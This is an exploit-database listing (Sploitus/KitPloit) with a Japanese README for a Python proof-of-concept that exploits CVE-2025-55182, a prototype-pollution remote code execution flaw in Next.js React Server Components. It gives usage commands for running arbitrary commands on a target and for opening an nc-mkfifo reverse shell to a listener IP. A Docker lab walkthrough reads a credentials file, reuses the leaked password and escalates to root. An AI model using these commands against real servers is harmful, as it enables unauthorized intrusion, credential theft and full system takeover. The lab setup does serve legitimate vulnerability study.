Sploitus

Exploit for POC_react2shell_CVE-2025-55182

kitploit · 2026-08-28

Exploit Code

MARKDOWN158 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NKWENTI-SEVERIAN-NDONGTSOP-POC_REACT2SHELL_CVE-2025-55182
# Next.js React Server Components RCE エクスプロイト

CVE-2025-55182を悪用して、プロトタイプ汚染を介したリモートコード実行を行います。

**著者:** Severian N.K.

## 説明

このツールは、React Server Componentsを使用するNext.jsアプリケーションのプロトタイプ汚染の脆弱性を悪用し、リモートコード実行(RCE)に至ります。直接的なコマンド実行とリバースシェルの両方をサポートします。

## インストール

このプロジェクトはPython仮想環境を使用して依存関係を管理します。まず、Python 3がインストールされていることを確認してください。

  1. **仮想環境をセットアップする:**

root@kitploit:~
         
         python3 -m venv venv
         

  2. **環境を有効にして依存関係をインストールする:**

root@kitploit:~
         
         source venv/bin/activate
         pip install -r requirements.txt
         




## 使用方法

エクスプロイトを実行する前に、仮想環境が有効になっていることを確認してください(`source venv/bin/activate`)。

### コマンド実行

ターゲット上で単一のコマンドを実行するには:

root@kitploit:~
    
    
    python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"
    

**例:**

root@kitploit:~
    
    
    python3 exploit.py -u http://example.com -c "id"
    

### リバースシェル

ターゲットからリバースシェルを取得するには:

root@kitploit:~
    
    
    python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>
    

**例:**

root@kitploit:~
    
    
    python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo
    

## ラボ環境

`lab/`ディレクトリには、独立した2つのDocker環境が含まれています:

  1. **脆弱なアプリ** (`lab/vulnerable`):ポート3000で実行中。
  2. **パッチ適用済みアプリ** (`lab/patched`):ポート3001で実行中。



### 1\. 脆弱なアプリをセットアップ

root@kitploit:~
    
    
    cd lab/vulnerable
    chmod +x build.sh run.sh
    ./build.sh
    ./run.sh
    

アクセス: http://localhost:3000

### 2\. パッチ適用済みアプリをセットアップ

root@kitploit:~
    
    
    cd lab/patched
    chmod +x build.sh run.sh
    ./build.sh
    ./run.sh
    

アクセス: http://localhost:3001

### 3\. リバースシェルをテスト

リスナーIP(`--lhost`)とポート(`--lport`)を**必ず** 指定してください。DockerブリッジIPは`ip addr show docker0`で確認できます(通常は172.17.0.1)。

root@kitploit:~
    
    
    python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo
    

> **注:** ターゲットがAlpine Linuxで動作しているため、特定のペイロードタイプが必要なため、`-P nc-mkfifo`を使用しています。

#### ステップ2: シークレットにアクセス

脆弱なコンテナはシークレットファイルを公開しています。

root@kitploit:~
    
    
    python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
    # Output: manager:SuperSecret2025!
    

#### ステップ3: 権限昇格

侵害された認証情報を使用して、`nextjs`から`root`に権限昇格できます。

  1. **ユーザー切り替え** : `su - manager`(パスワード: `SuperSecret2025!`)
  2. **Rootになる** : `sudo su`(パスワード: `SuperSecret2025!`)
  3. **フラグ取得** : 

root@kitploit:~
         
         cat /root/flag.txt
         # Output: Congratulations! You have gained full control over the system!
         




## 参考文献

  * 技術分析(Gist)
  * 実践ラボ(TryHackMe)



## 貢献

貢献を歓迎します!バグを見つけた場合や改善のアイデアがある場合は、Issueを開くかプルリクエストを送信してください。